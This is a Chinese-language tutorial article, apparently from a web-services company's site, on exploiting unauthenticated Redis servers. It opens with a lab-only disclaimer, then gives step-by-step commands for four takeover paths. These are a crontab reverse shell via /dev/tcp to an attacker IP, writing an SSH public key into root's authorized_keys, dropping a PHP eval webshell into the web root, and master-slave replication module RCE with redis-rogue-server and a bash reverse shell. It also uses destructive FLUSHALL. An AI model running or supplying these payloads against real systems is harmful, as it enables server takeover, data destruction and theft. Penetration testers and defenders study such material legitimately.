ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Redis未授权访问与四种 getshell 路径(原理 → 实操,因果不断层)

Redis未授权访问与四种 getshell 路径(原理 → 实操,因果不断层) 本文为教学用途所有复现均在作者自建靶场内完成。请勿在未授权的情况下对真实系统进行测试。根据《网络安全法》未经授权测试、攻击他人系统属于违法犯罪行为。禁止复制本文Payload 对外部站点进行测试违规使用造成的一切后果由使用者自行负责。这是本系列最打的一篇。我们完整走一遍探测未授权 → 拿到连接 → 判断版本/权限 → 分别尝试 crontab、SSH 公钥、WebShell、主从复刻。由于本机靶场版本为8.0所以启动命令为redis-cli shutdown nosave redis-server --port 6379 --bind 0.0.0.0 --protected-mode no \ --enable-protected-configs yes --save --appendonly no \ --daemonize yes--protected-mode no关闭保护模式。Redis 的保护模式本意是如果 bind 不是 127.0.0.1 且未设置密码则会拒绝外部访问。这里主动关闭了它完全放弃了这一层防护。--enable-protected-configs yes允许修改敏感配置。这个参数在 Redis 7.0 引入允许通过 CONFIG SET/GET 操作如 dir、dbfilename 等关键配置即使 Redis 以非特权用户运行。这进一步扩大了攻击者可利用的权限。基于此来模拟实验环境1. 什么是未授权访问成立条件到底有哪些1.1 字面意思未授权访问 不需要账号密码就能连上并执行命令。对 Redis 来说未授权有两种典型形态完全没设密码老版本常见redis-cli -h 目标 -p 6379直接进。设了弱密码被爆破常见弱口令redis、123456、foobared默认示例密码、root、空密码。1.2 但没设密码 ≠ 一定能未授权访问——三个条件要同时成立从上一篇我们知道Redis 3.2 引入了protected-mode。它逻辑很绕这里拆开讲protected-mode 的生效规则关键当且仅当下面同时满足时Redis 才会拒绝来自非本机、且未认证的连接protected-mode yes默认就是 yes没有设置密码requirepass 为空 / 没配 ACL客户端不是从本机loopback连过来的。否则protected-mode不拦。所以一张表说清所有组合bind密码protected-mode外网能否未授权连0.0.0.0无yes会被拦报DENIED Redis is running in protected mode0.0.0.0有yes认证后可以没密码进不去0.0.0.0无no未授权访问成立最常见漏洞场景0.0.0.0无yes 但客户端来自本机能连因为是本机来源那为什么实战里还是经常遇到未授权因为很多老服务器 / 内网机器 / CTF 靶机要么版本老3.2 没有保护模式要么运维图省事直接--protected-mode no要么 bind 了0.0.0.0又忘了设密码。攻防判断顺序永远是先探测再逐条核对这三个开关。靶机上执行redis-cli shutdown nosave redis-server --port 6379 --bind 0.0.0.0 --protected-mode no \ --daemonize yes --save --appendonly no1.3 探测的三个动作# 动作1端口探测nmap 或 nc nmap -p 6379 -Pn ip地址# 或 nc -nv ip地址 端口 ​# 动作2直接用 redis-cli 试着连不输密码 redis-cli -h 目标IP -p 6379 目标ip:6379 PING# 若返回 PONG → 未授权成立第一关过了 # 若返回 NOAUTH Authentication required → 要密码转爆破 ​ # 动作3一条命令版 redis-cli -h 192.168.1.10 -p 6379 ping # 返回 PONG 即成功服务器主动回给你的拒绝长这样说明它开了 protected-mode没设密码2. 拿到连接后先做信息收集五连不要上来就 getshell。先搞清楚三件事我是谁权限、它多老版本、里面有什么数据价值。# 1) 版本决定能用哪些套路 INFO server # 找 redis_version: ... 和 redis_mode: ​# 2) 是否真未授权 / 当前权限视角 ACL WHOAMI # Redis 6 才有返回当前用户默认 default# 老版本没这个命令会报错正常 ​ # 3) 系统信息也许能看出运行用户、OS INFO os # 包含操作系统 INFO replication # 是不是从库、主库是谁主从复刻判断用 ​# 4) 看配置dir、权限开关、是否开了危险功能 CONFIG GET dirCONFIG GET requirepassrequirepassRedis 登录密码配置项密码为空无认证直接可以操作 RedisCONFIG GET protected-mode ​# 5) 看数据有多少 key、有没有敏感 key DBSIZE KEYS *为什么先看 replication如果目标本来就是某台主库的从库主从复刻套路要先把它的从库身份摘掉才能操作否则改了数据主库可能又同步回来覆盖。老教程会教你SLAVEOF NO ONE解除从库关系——这本身就是破坏性操作靶机上做没事真环境里别乱按。2.1 判断能不能写文件快速自测写文件 getshell 核心是CONFIG SET dir 落盘。先看 dir 能不能改、当前能不能触发 BGSAVECONFIG GET dir # 看当前数据目录通常 /var/lib/redis 或 . CONFIG SET dir /tmp/ # 试改到 /tmp能否改成功关键信号 # 返回 OK → 配置可写路子通了BGSAVE # 试试能不能落盘如果CONFIG SET dir被禁止返回 error说明管理员做了命令禁用/ACL写文件这条路基本断了转主从复刻或其他方向。3. getshell 路径①写 crontab 反弹 Shell最经典但条件苛刻3.1 原理链条一层一层看目标让这台机器定时执行我们的命令反弹 shell 办法往 crontab 里塞一条每分钟执行的计划任务 而 Redis 能写文件 ↓ 那我们把计划任务的内容当成 Redis 的 key 存进去 再让 Redis 把整个数据库落盘成 crontab 文件 → 文件里就有了我们的任务行 ↓ 系统 cron 守护进程每分钟读 crontab → 执行我们的反弹命令 → getshell3.2 它成立需要哪些前置条件条件说明不满足会怎样Redis 进程是root或高权限因为要写/var/spool/cron/这种系统目录写不进去报错知道目标操作系统 cron 路径CentOS 老用/var/spool/cron/Debian/Ubuntu 用/var/spool/cron/crontabs/路径错写哪都不触发Redis 没禁用 CONFIG / 没 ACL 限制否则 SET dir 不成功卡在第 2 步目标没有防火墙/杀软拦截外连反弹 shell 要能连回你反弹失败Redis 能触发 BGSAVE磁盘/权限正常不落盘注意正因为条件苛刻尤其要求 root cron 路径可写真实高版本环境成功率低。CTF 和老机器里常见。3.3 实操在靶机上全程按自己的 IP# 第0步准备反弹命令写进一个变量文件 # 目标IP是10.0.0.100攻击机(你)监听 4444 # 反弹 payload 里一定要用 \r\n 换行crontab 按行解析结尾必须有换行 ​ # 第1步连上未授权 Redis redis-cli -h 10.0.0.100 -p 6379 ​ # 第2步把数据库清空减少 RDB 里的二进制噪音让 crontab 文件干净点 FLUSHALL # 返回 OK ​ # 第3步把反弹计划任务写成一个 key # 用 redis-cli -x 从标准输入读 value能保留换行 printf * * * * * bash -i /dev/tcp/10.0.0.1/4444 01\n | redis-cli -h 10.0.0.100 -p 6379 -x set cron # 返回 OK ​ # 第4步把数据目录指到 crontab 目录按系统选一个 CONFIG SET dir /var/spool/cron/ # 老 CentOS 用 /var/spool/cron/ # Debian/Ubuntu 用 /var/spool/cron/crontabs/ CONFIG SET dbfilename root # 文件名 要写入的用户名root ​ # 第5步落盘 SAVE # 或 BGSAVE # 返回 OK → 文件写好了 ​ # 第6步攻击机监听反弹 nc -lvnp 4444 # 等最多 1 分钟cron 触发 → 拿到 shell ​ # 第7步可选恢复现场别把环境打坏 CONFIG SET dir /var/lib/redis CONFIG SET dbfilename dump.rdb为什么 payload 里要\r\n而不是普通换行我们用printf ... \n里那个\n是普通换行。真实 crontab 文件对每行结尾要求是CRLF\r\n很多利用脚本里用\r\n是为了兼容。不同系统的 cron 对格式宽容度不同这也是为什么这条路能不能成很看系统。实操时可以两种都试看哪个能生效。FLUSHALL 会不会太暴力会。它把目标库里所有数据清空——这是破坏性动作。真实渗透/红队场景要慎重可能把生产缓存全清了。靶机上随便玩。安全上请记住这个动作的存在攻击者一个 FLUSHALL 就能把缓存库删光这是写入型破坏的一种。4. getshell 路径②写 SSH 公钥登录比 crontab 稳一点4.1 原理链条目标开了 sshd且允许 root/某用户公钥登录 我们把自己的公钥 id_rsa.pub 写进目标的 ~/.ssh/authorized_keys ↓ 利用 Redis 写文件dir 指到用户家目录的 .ssh文件名 authorized_keys ↓ 我们用私钥 ssh 登录 → getshell无需密码为什么比 crontab 稳因为不要求 root 才能写只要 Redis 以该用户身份运行、且该用户 home 有.ssh对文件格式要求低authorized_keys 只要认得出那一行公钥就行前面混点 Redis 噪音无妨但通常也先 FLUSHALL 求稳不依赖 cron 解析格式。4.2 前置条件条件说明Redis 以某个用户运行且能写该用户~/.ssh/常见Redis 以 root 跑 → 写/root/.ssh/目标 sshd 允许公钥登录PermitRootLogin/PubkeyAuthentication配置允许你知道该写哪个用户的 authorized_keys通常 root目标.ssh目录已存在不存在要先想办法建SSH 登录过一次才会有4.3 实操# 第0步攻击机生成/准备密钥对 ssh-keygen -t rsa -f /tmp/key -N /* ssh-keygen生成 ssh 密钥对工具 -t rsa指定密钥算法为 RSA -f /tmp/key私钥保存路径/tmp/key公钥自动生成/tmp/key.pub -N 设置密钥密码为空免密使用 */ ​​​​​​​ # 生成 /tmp/key(私钥) /tmp/key.pub(公钥) ​ # 第1步把公钥写进 Redis 的 key结尾加换行前后加空行更稳 (echo; cat /tmp/key.pub; echo) | redis-cli -h 目标ip -p 6379 -x set pub​ # 第2步清库 指到 .ssh redis-cli -h 192.168.143.156 -p 6379 FLUSHALL CONFIG SET dir /root/.ssh/ CONFIG SET dbfilename authorized_keys SAVE ​#但是最终只有此种方法实现了落盘 # 第3步用私钥登录 ssh -i /tmp/key root目标ip#最终也是成功登录为什么要 (echo; cat; echo) 前后加空行让公钥所在行独立、干净避免和 RDB 的二进制头粘连提高 sshd 解析成功率。如果 .ssh 目录不存在怎么办Redis 写文件不会自动创建目录。老 trick用CONFIG SET dir不能建目录所以这条路要求目录已存在。这也是为什么它常常要求目标是 root 且 root 登录过。CTF 里常预先建好或换 WebShell 那条路。5. getshell 路径③写 WebShell配合 Web 服务最实用5.1 原理链条目标同机跑了 Web 服务nginx/apache有 PHP 解析 ↓ 我们把?php ...一句话... 当成 key 存进 Redis ↓ dir 指到网站根目录如 /var/www/htmldbfilename 改成 xxx.php ↓ 落盘 → Web 目录出现一个 .php 文件内容是 RDB 二进制 我们的 PHP 代码 ↓ 因为 PHP 解析器只认 ?php ... ? 段文件里的二进制垃圾不影响执行 ↓ 用菜刀/蚁剑/curl 连这个 php → getshell5.2 前置条件条件说明知道网站根目录的真实路径常见/var/www/html、/usr/share/nginx/html、宝塔/www/wwwroot/站点Redis 进程有写该目录权限常要求 root 或同属 www 组Web 能解析该后缀.php 需配了 PHPdir 能改、能落盘同前5.3 实操# 第1步把一句话木马写进 key内容含 php 标签 printf ?php eval($_POST[cmd]);? | redis-cli -h 目标IP -p 6379 -x set shell# 或老式用大马内容可多行 ​ # 第2步指到 web 根目录并落盘 redis-cli -h 10.0.0.100 -p 6379 CONFIG SET dir /var/www/html/ CONFIG SET dbfilename shell.php SAVE ​# 第3步浏览器/curl 验证 curl http://目标IP/shell.php # 应该回显一串 RDB 乱码开头前面被当文本输出 我们的 php 标签也在里面 ​# 第4步用蚁剑/菜刀连密码 cmd → 管理文件/命令执行现代一点的 web 环境目录不可写、有 WAF 过滤、PHP 被 disable_function 限制——这些都会让这条路失效需要组合其他技巧不在本篇范围。但原理链条永远是改 dir → 落盘 → 让解析器执行我们的片段。6. getshell 路径④主从复刻 RCE版本 4 且 6 的通吃路线6.1 前置回顾 成立条件前面讲过原理骗目标 Redis 变成我们假主库的从库让它全量同步一份夹带恶意 .so 模块的 RDB从而把恶意模块加载进 Redis再调用新增命令执行代码。成立条件条件说明Redis 版本 4.0有 Module4 没有 module 机制不行目标能外连攻击机端口全量同步是目标主动连我们要反向可达没开/能绕过限制模块加载的防护高版本对从库加载模块有限制成功率下降有未授权或已拿到认证总得能执行 REPLICAOF为什么说它更通吃前面三条写文件路径都依赖目标目录可写 知道路径。这条不依赖系统文件权限只要能连 能发 REPLICAOF就有机会把模块跑起来。所以在 4.x/5.x 未授权 Redis 上它是红队首选。6.2 实操用现成工具理解其背后动作主从复刻手工造 RDB 很繁琐安全社区有现成利用工具最有名的是Redis Rogue Server系列如redis-rogue-server、Nosqlmap附带功能。使用方式大同小异# 工具会做这些事本质对应我们上面的原理 # 1) 在攻击机起一个假主库并准备恶意 .so # 2) 让目标 RedisREPLICAOF 攻击机IP 端口 # 3) 全量同步时喂恶意 RDB → 模块被加载 # 4) 自动调用新增命令给你一个交互 shell ​ git clone https://github.com/n0b0dyCN/redis-rogue-server cd redis-rogue-server python3 redis-rogue-server.py --rhost 10.0.0.100 --rport 6379 --lhost 10.0.0.1 --lport 6380 # 按提示输入 i 进入交互/命令模式 # 成功后目标 Redis 会多出一个自定义命令比如 system.exec 之类 system.exec id system.exec whoami system.exec bash -c bash -i /dev/tcp/10.0.0.1/4445 01这类工具我在别处也见过但不想只会敲脚本怎么破你现在已经具备拆它的能力了工具流程 主从机制 让目标 REPLICAOF 我 我发恶意 RDB 触发模块加载。想真正看懂可以抓包看全量同步阶段发的 RDB 里有什么或在靶机上INFO replication观察自己角色变化。7. 所有 getshell 路径的对照总结路径依赖核心机制主要前置适用版本成功率备注crontabCONFIG SET RDB 落盘root cron 目录可写 知道路径老系统常见中低破坏性 FLUSHALLSSH 公钥同上Redis 用户可写 ~/.ssh sshd 允许通用中需要 .ssh 已存在WebShell同上知道 web 根目录 可写 能解析 php通用中常用于拿 web 权限主从复刻 RCE主从复制 Module版本4 目标可反连4.x/5.x 最佳高不依赖系统文件权限贯穿的因果链其实只有一条能连上未授权/弱口令 → 能执行 CONFIG SET / REPLICAOF 这类危险命令 → Redis 帮你写文件或加载外部数据 → 文件/数据被执行 → getshell8. 遇到打不动的情况按这个清单排查攻击失败时90% 是卡在下面某一条逐条排查到底连上了吗报NOAUTH 要密码报DENIED protected mode 保护模式拦了报Connection refused 端口没通/防火墙。版本查了吗老套路在新版本可能被 ACL/模块限制挡住。CONFIG SET dir 成功了吗返回 error 就是被禁用。Redis 是什么用户跑的INFO server看不出用户用 CONFIG GET dir 能不能写 /tmp 先自测。路径对吗cron 目录系统不同、web 根目录要探测看指纹/报错页。反弹/连回通了吗攻击机防火墙、目标出网策略。是不是从库先 REPLICAOF NO ONE 再操作。
返回列表